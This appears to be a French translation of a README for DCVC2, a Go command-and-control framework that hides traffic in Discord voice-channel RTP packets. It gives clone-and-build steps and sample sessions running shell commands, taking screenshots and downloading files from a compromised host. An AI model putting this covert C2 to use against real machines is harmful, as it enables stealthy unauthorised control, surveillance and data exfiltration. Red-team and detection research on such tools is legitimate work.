Framework C2 pour canal vocal Discord pour des opérations furtives de commande et de contrôle. Transmet toutes les données via des paquets RTP sur les canaux vocaux, ne laissant aucune trace dans les chats textuels. Prend en charge les commandes shell, les captures d'écran et l'exfiltration de fichiers sur Windows, Linux et macOS.
Cet outil compatible avec plusieurs systèmes d'exploitation a été créé pour exploiter les canaux vocaux de Discord pour des opérations de commande et de contrôle. Cet outil fonctionne entièrement via le protocole Real-Time (RTP) en utilisant principalement DiscordGo et ne laisse aucune trace gênante dans les canaux textuels. C'est un outil en ligne de commande, ce qui signifie que toutes les opérations se dérouleront strictement depuis le terminal sous Windows, Linux ou OSX. Veuillez l'utiliser de manière responsable, mais amusez-vous ! ;)
git clone https://github.com/3NailsInfoSec/DCVC2.git
cd DCVC2
go mod download
go build server.go
go build agent.go
Lorsque vous exécutez le serveur et l'agent, vous devriez voir les deux rejoindre le canal vocal que vous spécifiez :
Commandes shell :
cmd> whoami
desktop-3kjj3kj\sm00v
J'ai ajouté 2 ajouts codés en dur en plus de l'utilisation de base du shell :
cmd> screenshot
screenshotting..............................................
&
cmd> download
download file path>C:\Users\sm00v\Downloads\34954477.jpg
............................................................